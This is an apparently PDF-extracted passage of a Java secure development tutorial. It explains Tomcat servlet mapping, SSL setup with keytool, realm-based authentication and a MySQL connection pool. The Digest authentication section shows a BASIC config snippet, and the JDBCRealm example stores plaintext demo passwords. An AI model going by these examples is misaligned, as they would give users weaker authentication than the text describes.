Suppose that you wish to deploy two servlets: TestServlet.class and QueryServlet.class (that have to bekept under your application's "WebContextRoot\WEB-INF\classes" directory):<?xml version="1.0" encoding="ISO-8859-1"?><web-app xmlns="http://java.sun.com/xml/ns/javaee"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/javaee

http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"version="3.0" metadata-complete="true">

<servlet><servlet-name>Test</servlet-name><servlet-class>TestServlet</servlet-class>

</servlet>

<servlet><servlet-name>Query</servlet-name><servlet-class>QueryServlet</servlet-class>

</servlet>

<servlet-mapping><servlet-name>Test</servlet-name><url-pattern>/Echo</url-pattern>

</servlet-mapping>

<servlet-mapping><servlet-name>Query</servlet-name><url-pattern>/Query</url-pattern>

</servlet-mapping></web-app>

Explanation:

Page 213: Java secure development   part 3

702 | P a g e

Each servlet requires two configuration elements. A <servlet> to specify the servlet-name andthe servlet-class, and a <servlet-mapping> to specify the URL for that particular servlet-name. Inthe above example, theTestServlet can be referenced via URL http://host:port/context-path/Echo,and the QueryServlet via URL http://host:port/context-path/Query.

You have to list ALL the <servlet> elements first, followed by <servlet-mapping> elements.

Tomcat's ManagerRead "Apache Tomcat 6.0 - Manager App HOW-TO" @ "webapps/docs/manager-howto.html".

Tomcat manager allows you to deploy a new web application; start, stop, reload or undeploy anexisting one, without having to shut down and restart the server.

To enable Tomcat manager, edit "$CATALINA_HOME\conf\tomcat-users.xml" to include a role called"manager" and a user with "manager" role.<role rolename="manager"/><user username="tomcat" password="s3cret" roles="manager"/>

Use http://localhost:8080/manager/html to invoke manager web application.

Tomcat with SSLSSL, or Secure Socket Layer, allows web browsers and web servers to communicate over a securedconnection. Tomcat provides built-in support for SSL. Before you attempt to turn on the SSL support,make sure that your tomcat is running fine for HTTP without SSL.

Read:

"SSL Configuration How-to" of Tomcat Documentation @ "$CATALINA_HOME\webapps\docs\ssl-howto.html".

"keytool - Key and Certificate Management Tool" @ JDK documentation.

The steps to turn on SSL support are:

Step 1: Check your JDK version. Tomcat's SSL uses Java Secure Socket Extension (JSSE), which hasbeen integrated into JDK since 1.4.Step 2: Prepare the Tomcat's server certificate, using the JDK's key and certificate management toolcalled "keytool" (in "$JAVA_HOME\bin" ), as follows:> keytool... display the help menu ...

> keytool -genkey -alias tomcat -keyalg RSA -keystore d:\tomcat\conf\.keystoreEnter keystore password: xxxxxxxxRe-enter new password: xxxxxxxxWhat is your first and last name?

[Unknown]:What is the name of your organizational unit?

[Unknown]:What is the name of your organization?

[Unknown]:

Page 214: Java secure development   part 3

703 | P a g e

What is the name of your City or Locality?[Unknown]:

What is the name of your State or Province?[Unknown]:

What is the two-letter country code for this unit?[Unknown]:

Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct?[no]: y

Enter key password for <tomcat>(RETURN if same as keystore password):

The "-genkey" option is used to generate a public-private key pair. The public key is wrappedinto an X.509 v1 self-signed certificate. The certificate and the private key are stored in a newkeystore entry identified by the alias. In our case, the alias name must be "tomcat".

The "-keyalg" option specifies the key generation algorithm. RSA public key algorithm is used inthis case.

The "-keystore" option specifies the name and location of the key store file. The password for <tomcat> must be the same as the keystore (i.e., hit enter for the last

question).Step 3: Enable SSL support for Tomcat. SSL is built into Tomcat. The Tomcat's configuration filecommented out the SSL configuration directive. Uncomment them by removing the <!-- and --> around the SSL Coyote HTTP/1.1 Connector as follows:<!-- Define a SSL HTTP/1.1 Connector on port 8443

This connector uses the JSSE configuration, when using APR, theconnector should be using the OpenSSL style configurationdescribed in the APR documentation -->

<Connector port="8443" protocol="org.apache.coyote.http11.Http11Protocol"SSLEnabled="true" maxThreads="150" scheme="https" secure="true"clientAuth="false" sslProtocol="TLS"keystoreFile="d:\tomcat\conf\.keystore"keystorePass="passwordOfKeyStore" />

Note that the SSL (or HTTPS) is running on port 8443 instead of its default port number 443.

Add in the keystoreFile and keyStorePass attributes. The keystoreFile attribute specified the locationof the keystore file. The keyStorePass provides the password for accessing the keystore file.Step 4: Start your tomcat (run "$CATALINA_HOME\bin\startup.bat"). After that, start a web browserand issue an HTTPS request as follows:https://localhost:8443

User Authentication in TomcatRead Tomcat documentation "Realm Configuration HOW-TO" (@"$CATALINA_HOME\webapps\docs\realm-howto.html") and "Java EE 5 Tutorial", Part IV "Services",Chapters 28-30 on Security.

In Information Security:

Page 215: Java secure development   part 3

704 | P a g e

Access control deals with identifying which resources require protection, and which users (roles)are authorized to access the protected resources.

Authentication deals with verifying users' credential, i.e., ensuring the user is "who he said heis". User's credential is typically provided in the form of username/password. Other meansinclude biometrics (finger-prints, retina) and digital certificates.

Confidentiality deals with the encryption of the transmitted data over the network. This is oftencarried out via employing HTTP over SSL (Secure Socket Layer), known as HTTPS.

Message Integrity: message is not tempered during transmission (via message digest or hash). Non-repudiation: If he/she has sent a message, he/she cannot deny (via public-key or digital

certificate).In Tomcat's web applications, a user is identified via username/password. A user is assigned role(s)(e.g., manager, admin, user, etc). Tomcat grants access for web application to role(s), instead ofindividual users. A realm is a database or file, which contains user information such asusername/password, and roles.

Tomcat supports the following types of realm:

UserDatabaseRealm: user information kept in a XML file "conf\tomcat-users.xml", accessed viaJDNI (Java Naming and Directory Interface).

JDBCRealm: user information kept in a relational database such as MySQL, accessed via JDBC.

others.

You can used the <realm> element to configure a realm in "conf\server.xml". <realm> element can beplaced in <engine>, <host>, or <context>, which determines the scope of the <realm> - all virtual hosts,a particular host, or a particular web application.

"Declarative security" is handled by the server. The server-side programs (servlets, JSPs) do not needany security-aware code. That is, the security control is totally transparent to the server-sideprograms.

UserDatabaseRealmUserDatabaseRealm stores user information in a XML file and accessed via JNDI. By default, the XMLfile is "$CATALINA_HOME\conf\tomcat-users.xml".Tomcat provide a JSP example to configure UserDatabaseRealm in "WEB-INF\examples\jsp\security\protected", accessed viahttp://localhost:8080/examples/jsp/security/protected/index.jsp". Let us study this example."conf\server.xml"Tomcat enables UserDatabaseRealm, in default installation, with the following configurationdirectives in "server.xml". It defines a JDNI named "UserDatabase" to the file "conf\tomcat-users.xml".The UserdatabaseRealm is defined within the <Engine> elements, and thus applicable to all the virtualhosts and web applications, under this server.<Server ...... >

<!-- Global JNDI resources --><GlobalNamingResources>

<!-- Editable user database that can also be used byUserDatabaseRealm to authenticate users -->

Page 216: Java secure development   part 3

705 | P a g e

<Resource name="UserDatabase" auth="Container"type="org.apache.catalina.UserDatabase"description="User database that can be updated and saved"factory="org.apache.catalina.users.MemoryUserDatabaseFactory"pathname="conf/tomcat-users.xml" />

</GlobalNamingResources>

<Service name="Catalina"><Engine name="Catalina" defaultHost="localhost">

<!-- This Realm uses the UserDatabase configured in the global JNDIresources under the key "UserDatabase". Any editsthat are performed against this UserDatabase are immediatelyavailable for use by the Realm. -->

<Realm className="org.apache.catalina.realm.UserDatabaseRealm"resourceName="UserDatabase" />

<Host name="localhost" ............

</Host></Engine>

</Service></Server>

"conf\tomcat-users.xml"Recall that a user is identified via username/password. A user is assigned role(s). Accesses for webapplications are granted to role(s) instead of individual users. "Tomcat-users.xml" contains thefollowing roles and username/password, butcommented-out. Uncomment them for testing theexample.<?xml version="1.0" encoding="ISO-8859-1" ?><tomcat-users>

<role rolename="tomcat" /><role rolename="role1" /><user username="tomcat" password="tomcat" roles="tomcat" /><user username="both" password="tomcat" roles="tomcat,role1" /><user username="role1" password="tomcat" roles="role1" />

</tomcat-users>

"WebContext\WEB-INF\web.xml"For the "examples" web context, the security roles are defined using <security-constraint> element in"examples\WEB-INF\web.xml" as follows. The URL pattern /jsp/security/protected/* (GET, POST,DELETE, PUT methods) are accessible by users having roles of tomcat and role1 only.<web-app ......>

......<security-constraint>

<display-name>Example Security Constraint</display-name><web-resource-collection>

<web-resource-name>Protected Area</web-resource-name><!-- Define the context-relative URL(s) to be protected --><url-pattern>/jsp/security/protected/*</url-pattern>

Page 217: Java secure development   part 3

706 | P a g e

<!-- If you list http methods, only those methods are protected --><http-method>DELETE</http-method><http-method>GET</http-method><http-method>POST</http-method><http-method>PUT</http-method>

</web-resource-collection><auth-constraint>

<!-- Anyone with one of the listed roles may access this area --><role-name>tomcat</role-name><role-name>role1</role-name>

</auth-constraint></security-constraint>

<!-- Default login configuration uses form-based authentication --><login-config>

<auth-method>FORM</auth-method><realm-name>Example Form-Based Authentication Area</realm-name><form-login-config>

<form-login-page>/jsp/security/protected/login.jsp</form-login-page><form-error-page>/jsp/security/protected/error.jsp</form-error-page>

</form-login-config></login-config>

<!-- Security roles referenced by this web application --><security-role>

<role-name>role1</role-name></security-role><security-role>

<role-name>tomcat</role-name></security-role>

Form-based Authentication MethodThe above example uses FORM-based authentication method, defined in element <login-config>. Allaccesses to the protected URL (http://localhost:8080/examples/jsp/security/protected/*) will beredirected to the login.jsppage (defined in <form-login-page>), which prompts user for the credential.For example, if a user requests for http://localhost:8080/examples/jsp/security/protected/index.jsp,the login.jsp will be displayed.The login.jsp page shall contain a html <form> (thus called Form-based authentication):<html><head><title>Login Page for Examples</title></head><body><form method="POST" action='<%= response.encodeURL("j_security_check") %>' >

Username:<input type="text" name="j_username">Password:<input type="password" name="j_password"><input type="submit" value="Log In">

</form></body></html>

Page 218: Java secure development   part 3

707 | P a g e

The login page shall submit the username and password inparameters j_username and j_password to j_security_check. You should use <input type="password"...> for the password text field, which will display the password as *'s.The response.encodeURL(URL) encodes the specified URL by including the session ID if URL-rewritingis used for session tracking; it returns the URL unchanged if cookie is used. For robust sessiontracking, all URLs emitted by server-side programs (servlet/JSP) should be run through this method.If login fails, user will be redirected to error.jsp page, for example,<html><head><title>Error Page For Examples</title></head><body>Invalid username and/or password, please try again<a href='<%= response.encodeURL("index.jsp") %>'>again</a>.</body></html>

If login succeeds, the user will get the page he requested for. Study the"examples\jsp\security\protected\index.jsp" source. To logoff, terminate the current session via session.invalidate(). You can use request.getRemoteUser() to get the authenticated login

username; request.getUserPrincipal() to get a java.security.Principal object containing the nameof the current authenticated user;request.isUserInRole(role) to check if the authenticated user isincluded in the specified role.

HTTPSThe username and password send in form data are in clear text, and susceptible to eavesdropping.Hence, it is important to encrypt the transport by turning on SSL (HTTPS). Read "Tomcat with SSL" onhow to setup Tomcat with SSL.To enforce user to use secure transport (HTTPS), add a <transport-guarantee>CONFIDENTIAL</transport-guarantee>, inside the <security-constraint>, as follows:<security-constraint>

<display-name>Example Security Constraint</display-name><web-resource-collection>

<web-resource-name>Protected Area</web-resource-name><url-pattern>/jsp/security/protected/*</url-pattern>......

</web-resource-collection><auth-constraint>

<role-name>tomcat</role-name>......

</auth-constraint><!-- must use SSL for secure transport --><user-data-constraint>

<transport-guarantee>CONFIDENTIAL</transport-guarantee></user-data-constraint>

</security-constraint>

Page 219: Java secure development   part 3

708 | P a g e

All accesses to http at port 8080 (e.g.,http://localhost:8080/examples/jsp/security/protected/index.jsp) will be redirected to https at port8443 (e.g., https://localhost:8443/examples/jsp/security/protected/index.jsp).

HTTP Basic AuthenticationOther than Form-based authentication, you could use the Basic Authentication Scheme available inHTTP server to authenticate user. Change the <login-config>'s <auth-method> to BASIC, insteadof FORM.<login-config>

<auth-method>BASIC</auth-method><realm-name>Example Basic Authentication Area</realm-name>

</login-config>

Again, Basic Authentication sends the username and password in clear text. It is totally insecure,unless you should use a secure transport (HTTPS).

HTTP Digest AuthenticationTomcat also support HTTP Digest Authentication Scheme to authenticate user. Change the <login-config>'s <auth-method> to DIGEST. Instead of sending password in clear text, the digest of passwordis send to the server. Digest authentication is more secure.<login-config>

<auth-method>BASIC</auth-method><realm-name>Example Basic Authentication Area</realm-name>

</login-config>

JDBCRealmIn JDBCRealm, user information kept in a relational database such as MySQL, accessed via JDBC.Setting up DatabaseWe shall set up our user database in MySQL. Read "How to install MySQL".The following script can be used to set up the user database. Two tables are required: a users tablecontaining username and password, and a user_roles containing username and the role assigned.create database tomcat_users;

use tomcat_users;

create table users (username varchar(15) not null primary key,password varchar(15) not null

);

create table user_roles (username varchar(15) not null,role varchar(15) not null,primary key (username, role)

);

insert into users values

Page 220: Java secure development   part 3

709 | P a g e

('tomcat', 'tomcat'),('both', 'tomcat'),('role1', 'tomcat');

insert into user_roles values('tomcat', 'tomcat'),('role1', 'role1'),('both', 'tomcat'),('both', 'role1');

JDBC DriverNext, copy the MySQL's JDBC driver ("mysql-connector-java-5.1.xx-bin.jar") into Tomcat's lib("$CATALINA_HOME\lib").conf\server.xml<Realm className="org.apache.catalina.realm.JDBCRealm" debug="99"

driverName="com.mysql.jdbc.Driver"connectionURL="jdbc:mysql://localhost/tomcat_users?user=dbuser&amp;password=dbpass"userTable="users" userNameCol="username" userCredCol="password"userRoleTable="user_roles" roleNameCol="role" />

WebContext\WEB-INF\web.xmlSame as UserDatabaseRealm.Authentication MethodsSame as UserDatabaseRealm, you can use FORM, BASIC or DIGEST authentication method.Testing

You need to start MySQL server before starting the Tomcat Server.

Database Connection Pool (for MySQL)Reference: "Apache Tomcat 6.0 JNDI Datasource How-To" @ http://tomcat.apache.org/tomcat-6.0-doc/jndi-datasource-examples-howto.html.Creating a new database connection for each client request is inefficient. Instead, we usually set upa database connection pool, which maintain a group of database connections. A client request picksup an already-created connection from the pool. After the request is completed, the connection isnot closed, but returned to the pool for future request.

To configure Tomcat to support MySQL Database Connection Pool (DBCP):

1. Copy the MySQL Connector/J JDBC Driver's jar (mysql-connector-java-5.1.xx-bin.jar)into $CATALINA_HOME/lib.

2. Define a new web application, says "hellomysql", by creating a directory "hellomysql"under $CATALINA_HOME/webapps. Create sub-directories "WEB-INF" and "META-INF" underthe context root "hellomysql".

3. Configure the JNDI (Java Naming and Directory Interface) Datasource.

4. <?xml version='1.0' encoding='ISO-8859-1' ?>5. <Context reloadable="true">6. <!--

Page 221: Java secure development   part 3

710 | P a g e

7. maxActive: Maximum number of dB connections in pool.8. Set to -1 for no limit.9.10. maxIdle: Maximum number of idle dB connections to retain in pool.11. Set to -1 for no limit.12.13. maxWait: Maximum milliseconds to wait for a dB connection to become available14. Set to -1 to wait indefinitely.15. -->16. <Resource name="jdbc/TestDB" auth="Container" type="javax.sql.DataSource"17. maxActive="100" maxIdle="30" maxWait="10000"18. username="javauser" password="xxxxxxxx" driverClassName="com.mysql.jdbc.Driver"19. url="jdbc:mysql://localhost:3306/test"/>20. </Context>

The above configuration declare a JNDI resource named "jdbc/TestDB", which is provided byMySQL database "test".For application-specific configuration, save it as "hellomysql\META-INF\context.xml".For server-wide configuration, put the <Resource> elementunder <GlobalNamingResources> in $CATALINA_HOME\conf\server.xml.

21. "hellomysql\WEB-INF\web.xml": Configure reference to the JNDI datasource defined earlier.22. <web-app xmlns="http://java.sun.com/xml/ns/j2ee"23. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"24. xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-

app_2_4.xsd"25. version="2.4">26. <description>MySQL Test</description>27. <resource-ref>28. <description>DB Connection</description>29. <res-ref-name>jdbc/TestDB</res-ref-name>30. <res-type>javax.sql.DataSource</res-type>31. <res-auth>Container</res-auth>32. </resource-ref>33. </web-app>

34. Set up MySQL "test" database: Create a table called "tomcat_test" with two columns "id" and"name", and insert a few rows.

35. CREATE DATABASE IF NOT EXISTS test;36.37. USE test;38.39. DROP TABLE IF EXISTS tomcat_test;40. CREATE TABLE tomcat_test (41. id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,42. name VARCHAR(30),43. PRIMARY KEY (id)44. );45.

Page 222: Java secure development   part 3

711 | P a g e

46. INSERT INTO tomcat_test VALUES

(NULL, 'Peter'), (NULL, 'Paul');

47. Write a JSP page to query the database as follows. Save as "test.jsp" under "hellomysql".48. <%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql" %>49. <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>50.51. <sql:query var="rs" dataSource="jdbc/TestDB">52. select id, name from tomcat_test53. </sql:query>54.55. <html>56. <head><title>DB Test</title></head>57. <body>58. <h2>Results</h2>59. <table>60. <c:forEach var="row" items="${rs.rows}">61. <tr>62. <td>${row.id}</td>63. <td>${row.name}</td>64. </tr>65. </c:forEach>66. </table>67. </body>68. </html>

This JSP page uses the JSTL standard tags, which requires "jstl.jar" and "standard.jar". You cancopy the jar files from "examples\WEB-INF\lib" into "hellomysql\WEN-INF\lib".

69. Run the JSP: Start MySQL database server. Start Tomcat server. IssueURL http://localhost:8080/hellomysql/test.jsp from a browser.

70. Servlet that uses database connection pool:

71. import java.io.*;72. import javax.servlet.*;73. import javax.servlet.http.*;74. import java.sql.*;75. import javax.sql.DataSource;76. import javax.naming.InitialContext;77.78. public class MySQLDBCPServlet extends HttpServlet {79. @Override80. public void doGet(HttpServletRequest request, HttpServletResponse response)81. throws IOException, ServletException {82.83. response.setContentType("text/html");84. PrintWriter out = response.getWriter();85. out.println("<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN'

'http://www.w3.org/TR/html4/strict.dtd'>");

Page 223: Java secure development   part 3

712 | P a g e

86. out.println("<html>");87. out.println("<head><title>Qurey Servlet</title></head>");88. out.println("<body>");89.90. Connection conn = null;91. Statement stmt = null;92. ResultSet rset = null;93.94. try {95. // Create a JNDI Initial context to be able to lookup the DataSource96. InitialContext ctx = new InitialContext();97. // Lookup the DataSource, which will be backed by a pool98. // that the application server provides.99. DataSource ds = (DataSource)ctx.lookup("java:comp/env/jdbc/TestDB");100. conn = ds.getConnection();101.102. // Normal JBDC programming hereafter.103. // Close the resources to return the connection to the pool104. stmt = conn.createStatement();105. rset = stmt.executeQuery("SELECT id, name FROM tomcat_test");106. int count=0;107. while(rset.next()) {108. out.println("<p>" + rset.getInt("id") + ", "109. + rset.getString("name") + "</p>");110. count++;111. }112. out.println("<p>==== " + count + " rows found =====</p>");113. out.println("</body></html>");114. } catch (Exception ex) {115. ex.printStackTrace();116. } finally {117. if (rset != null) {118. try {119. rset.close();120. } catch (SQLException ex) {121. ex.printStackTrace();122. }123. rset = null;124. }125. if (stmt != null) {126. try {127. stmt.close();128. } catch (SQLException ex) {129. ex.printStackTrace();130. }131. stmt = null;132. }133. if (conn != null) {134. try {

Page 224: Java secure development   part 3

713 | P a g e

135. conn.close();136. } catch (SQLException ex) {137. ex.printStackTrace();138. }139. conn = null;140. }141. }142. }

}

Installing SSL Support & Certificate on Apache Tomcat

Quick Start

The description below uses the variable name $CATALINA_BASE to refer the basedirectory against which most relative paths are resolved. If you have not configuredTomcat 6 for multiple instances by setting a CATALINA_BASE directory, then$CATALINA_BASE will be set to the value of $CATALINA_HOME, the directory into whichyou have installed Tomcat 6.

To install and configure SSL support on Tomcat 6, you need to follow these simple steps.For more information, read the rest of this HOW-TO.

1. Create a keystore file to store the server's private key and self-signed certificate byexecuting the following command:

Windows:

%JAVA_HOME%\bin\keytool -genkey -alias tomcat -keyalg RSA

Unix:

$JAVA_HOME/bin/keytool -genkey -alias tomcat -keyalg RSA

Page 225: Java secure development   part 3

714 | P a g e

and specify a password value of "changeit".

2. Uncomment the "SSL HTTP/1.1 Connector" entry in $CATALINA_BASE/conf/server.xml andmodify as described in the Configuration section below.

Introduction to SSL

SSL, or Secure Socket Layer, is a technology which allows web browsers and web serversto communicate over a secured connection. This means that the data being sent isencrypted by one side, transmitted, then decrypted by the other side before processing.This is a two-way process, meaning that both the server AND the browser encrypt alltraffic before sending out data.

Another important aspect of the SSL protocol is Authentication. This means that duringyour initial attempt to communicate with a web server over a secure connection, thatserver will present your web browser with a set of credentials, in the form of a"Certificate", as proof the site is who and what it claims to be. In certain cases, theserver may also request a Certificate from your web browser, asking for proofthat you are who you claim to be. This is known as "Client Authentication," although inpractice this is used more for business-to-business (B2B) transactions than withindividual users. Most SSL-enabled web servers do not request Client Authentication.SSL and Tomcat

It is important to note that configuring Tomcat to take advantage of secure sockets isusually only necessary when running it as a stand-alone web server. When runningTomcat primarily as a Servlet/JSP container behind another web server, such as Apacheor Microsoft IIS, it is usually necessary to configure the primary web server to handle theSSL connections from users. Typically, this server will negotiate all SSL-relatedfunctionality, then pass on any requests destined for the Tomcat container only afterdecrypting those requests. Likewise, Tomcat will return cleartext responses, that will beencrypted before being returned to the user's browser. In this environment, Tomcatknows that communications between the primary web server and the client are takingplace over a secure connection (because your application needs to be able to ask aboutthis), but it does not participate in the encryption or decryption itself.Certificates

Page 226: Java secure development   part 3

715 | P a g e

In order to implement SSL, a web server must have an associated Certificate for eachexternal interface (IP address) that accepts secure connections. The theory behind thisdesign is that a server should provide some kind of reasonable assurance that its owneris who you think it is, particularly before receiving any sensitive information. While abroader explanation of Certificates is beyond the scope of this document, think of aCertificate as a "digital driver's license" for an Internet address. It states what companythe site is associated with, along with some basic contact information about the siteowner or administrator.

This "driver's license" is cryptographically signed by its owner, and is thereforeextremely difficult for anyone else to forge. For sites involved in e-commerce, or anyother business transaction in which authentication of identity is important, a Certificateis typically purchased from a well-known Certificate Authority (CA) such as VeriSign orThawte. Such certificates can be electronically verified -- in effect, the CertificateAuthority will vouch for the authenticity of the certificates that it grants, so you canbelieve that that Certificate is valid if you trust the Certificate Authority that granted it.

In many cases, however, authentication is not really a concern. An administrator maysimply want to ensure that the data being transmitted and received by the server isprivate and cannot be snooped by anyone who may be eavesdropping on theconnection. Fortunately, Java provides a relatively simple command-line tool,called keytool, which can easily create a "self-signed" Certificate. Self-signed Certificatesare simply user generated Certificates which have not been officially registered with anywell-known CA, and are therefore not really guaranteed to be authentic at all. Again,this may or may not even be important, depending on your needs.General Tips on Running SSL

The first time a user attempts to access a secured page on your site, he or she istypically presented with a dialog containing the details of the certificate (such as thecompany and contact name), and asked if he or she wishes to accept the Certificate asvalid and continue with the transaction. Some browsers will provide an option forpermanently accepting a given Certificate as valid, in which case the user will not bebothered with a prompt each time they visit your site. Other browsers do not providethis option. Once approved by the user, a Certificate will be considered valid for at leastthe entire browser session.

Also, while the SSL protocol was designed to be as efficient as securely possible,encryption/decryption is a computationally expensive process from a performancestandpoint. It is not strictly necessary to run an entire web application over SSL, andindeed a developer can pick and choose which pages require a secure connection andwhich do not. For a reasonably busy site, it is customary to only run certain pages under

Page 227: Java secure development   part 3

716 | P a g e

SSL, namely those pages where sensitive information could possibly be exchanged. Thiswould include things like login pages, personal information pages, and shopping cartcheckouts, where credit card information could possibly be transmitted. Any pagewithin an application can be requested over a secure socket by simply prefixing theaddress with https: instead of http:. Any pages which absolutely require a secureconnection should check the protocol type associated with the page request and takethe appropriate action if https is not specified.

Finally, using name-based virtual hosts on a secured connection can be problematic.This is a design limitation of the SSL protocol itself. The SSL handshake, where the clientbrowser accepts the server certificate, must occur before the HTTP request is accessed.As a result, the request information containing the virtual host name cannot bedetermined prior to authentication, and it is therefore not possible to assign multiplecertificates to a single IP address. If all virtual hosts on a single IP address need toauthenticate against the same certificate, the addition of multiple virtual hosts shouldnot interfere with normal SSL operations on the server. Be aware, however, that mostclient browsers will compare the server's domain name against the domain name listedin the certificate, if any (applicable primarily to official, CA-signed certificates). If thedomain names do not match, these browsers will display a warning to the client user. Ingeneral, only address-based virtual hosts are commonly used with SSL in a productionenvironment.Configuration

Prepare the Certificate Keystore

Tomcat currently operates only on JKS, PKCS11 or PKCS12 format keystores. The JKS formatis Java's standard "Java KeyStore" format, and is the format created bythekeytool command-line utility. This tool is included in the JDK. The PKCS12 format is aninternet standard, and can be manipulated via (among other things) OpenSSL andMicrosoft's Key-Manager.

Each entry in a keystore is identified by an alias string. Whilst many keystoreimplementations treat aliases in a case insensitive manner, case sensitiveimplementations are available. The PKCS11 specification, for example, requires thataliases are case sensitive. To avoid issues related to the case sensitivity of aliases, it isnot recommended to use aliases that differ only in case.

To import an existing certificate into a JKS keystore, please read the documentation (inyour JDK documentation package) about keytool. Note that OpenSSL often addsreadable comments before the key, keytooldoes not support that, so remove the

Page 228: Java secure development   part 3

717 | P a g e

OpenSSL comments if they exist before importing the key using keytool.

To import an existing certificate signed by your own CA into a PKCS12 keystore usingOpenSSL you would execute a command like:

openssl pkcs12 -export -in mycert.crt -inkey mykey.key \-out mycert.p12 -name tomcat -CAfile myCA.crt \-caname root -chain

For more advanced cases, consult the OpenSSL documentation.

To create a new keystore from scratch, containing a single self-signed Certificate,execute the following from a terminal command line:

Windows:

%JAVA_HOME%\bin\keytool -genkey -alias tomcat -keyalg RSA

Unix:

$JAVA_HOME/bin/keytool -genkey -alias tomcat -keyalg RSA

(The RSA algorithm should be preferred as a secure algorithm, and this also ensuresgeneral compatibility with other servers and components.)

This command will create a new file, in the home directory of the user under which yourun it, named ".keystore". To specify a different location or filename, add the -keystoreparameter, followed by the complete pathname to your keystore file, tothe keytool command shown above. You will also need to reflect this new location inthe server.xmlconfiguration file, as described later. For example:

Windows:

%JAVA_HOME%\bin\keytool -genkey -alias tomcat -keyalg RSA \-keystore \path\to\my\keystore

Page 229: Java secure development   part 3

718 | P a g e

Unix:

$JAVA_HOME/bin/keytool -genkey -alias tomcat -keyalg RSA \-keystore /path/to/my/keystore

After executing this command, you will first be prompted for the keystore password.The default password used by Tomcat is "changeit" (all lower case), although you canspecify a custom password if you like. You will also need to specify the custompassword in the server.xml configuration file, as described later.

Next, you will be prompted for general information about this Certificate, such ascompany, contact name, and so on. This information will be displayed to users whoattempt to access a secure page in your application, so make sure that the informationprovided here matches what they will expect.

Finally, you will be prompted for the key password, which is the password specificallyfor this Certificate (as opposed to any other Certificates stored in the same keystorefile). You MUST use the same password here as was used for the keystore passworditself. This is a restriction of the Tomcat implementation. (Currently, the keytool promptwill tell you that pressing the ENTER key does this for you automatically.)

If everything was successful, you now have a keystore file with a Certificate that can beused by your server.

Note: your private key password and keystore password should be the same. If theydiffer, you will get an error along the lines of java.io.IOException: Cannot recover key, asdocumented in Bugzilla issue 38217, which contains further references for this issue.Edit the Tomcat Configuration File

Tomcat can use two different implementations of SSL:

the JSSE implementation provided as part of the Java runtime (since 1.4) the APR implementation, which uses the OpenSSL engine by default.

The exact configuration details depend on which implementation is being used. Theimplementation used by Tomcat is chosen automatically unless it is overriden as describedbelow. If the installation uses APR - i.e. you have installed the Tomcat native library - then it willuse the APR SSL implementation, otherwise it will use the Java JSSE implementation.

Page 230: Java secure development   part 3

719 | P a g e

To avoid auto configuration you can define which implementation to use by specifying aclassname in the protocol attribute of the Connector.To define a Java (JSSE) connector, regardless of whether the APR library is loaded or notdo:

<-- Define a blocking Java SSL Coyote HTTP/1.1 Connector on port 8443 --><Connector protocol="org.apache.coyote.http11.Http11Protocol"

port="8443" .../>

<-- Define a non-blocking Java SSL Coyote HTTP/1.1 Connector on port 8443 --><Connector protocol="org.apache.coyote.http11.Http11NioProtocol"

port="8443" .../>

Alternatively, to specify an APR connector (the APR library must be available) use:

<-- Define a APR SSL Coyote HTTP/1.1 Connector on port 8443 --><Connector protocol="org.apache.coyote.http11.Http11AprProtocol"

port="8443" .../>

If you are using APR, you have the option of configuring an alternative engine toOpenSSL.

<Listener className="org.apache.catalina.core.AprLifecycleListener"SSLEngine="someengine" SSLRandomSeed="somedevice" />

The default value is

<Listener className="org.apache.catalina.core.AprLifecycleListener"SSLEngine="on" SSLRandomSeed="builtin" />

So to use SSL under APR, make sure the SSLEngine attribute is set to something other than off.The default value is on and if you specify another value, it has to be a valid engine name.If you haven't compiled in SSL support into your Tomcat Native library, then you can turn thisinitialization off

<Listener className="org.apache.catalina.core.AprLifecycleListener"

Page 231: Java secure development   part 3

720 | P a g e

SSLEngine="off" />

SSLRandomSeed allows to specify a source of entropy. Productive system needs a reliablesource of entropy but entropy may need a lot of time to be collected therefore test systemscould use no blocking entropy sources like "/dev/urandom" that will allow quicker starts ofTomcat.

The final step is to configure the Connector in the $CATALINA_BASE/conf/server.xml file,where $CATALINA_BASE represents the base directory for the Tomcat 6 instance. Anexample <Connector> element for an SSL connector is included in the default server.xml fileinstalled with Tomcat. For JSSE, it should look something like this:

<-- Define a SSL Coyote HTTP/1.1 Connector on port 8443 --><!--<Connector

port="8443" maxThreads="200"scheme="https" secure="true" SSLEnabled="true"keystoreFile="${user.home}/.keystore" keystorePass="changeit"clientAuth="false" sslProtocol="TLS"/>

-->

The example above will throw an error if you have the APR and the Tomcat Nativelibraries in your path, as Tomcat will try to use the APR connector. The APR connectoruses different attributes for SSL keys and certificates. An example of an APRconfiguration is:

<-- Define a SSL Coyote HTTP/1.1 Connector on port 8443 --><!--<Connector

port="8443" maxThreads="200"scheme="https" secure="true" SSLEnabled="true"SSLCertificateFile="/usr/local/ssl/server.crt"SSLCertificateKeyFile="/usr/local/ssl/server.pem"clientAuth="optional" SSLProtocol="TLSv1"/>

-->

You will note that the example SSL connector elements are commented out by default.You can either remove the comment tags from around the the example SSL connectoryou wish to use or add a new Connector element of your own. In either case, you will

Page 232: Java secure development   part 3

721 | P a g e

need to configure the SSL Connector for your requirements and environment. Theconfiguration options and information on which attributes are mandatory for the JSSEbased connectors (BIO and NIO) are documented in the SSL Support section of the HTTPconnectorconfiguration reference. The configuration options and information on whichattributes are mandatory for the APR connector are documented in the HTTPS sectionof the APR How-To.

The port attribute (default value is 8443) is the TCP/IP port number on which Tomcatwill listen for secure connections. You can change this to any port number you wish(such as to the default port for https communications, which is 443). However, specialsetup (outside the scope of this document) is necessary to run Tomcat on port numberslower than 1024 on many operating systems.

If you change the port number here, you should also change the value specified forthe redirectPort attribute on the non-SSL connector. This allows Tomcat to automaticallyredirect users who attempt to access a page with a security constraint specifying thatSSL is required, as required by the Servlet Specification.

After completing these configuration changes, you must restart Tomcat as you normallydo, and you should be in business. You should be able to access any web applicationsupported by Tomcat via SSL. For example, try:

https://localhost:8443

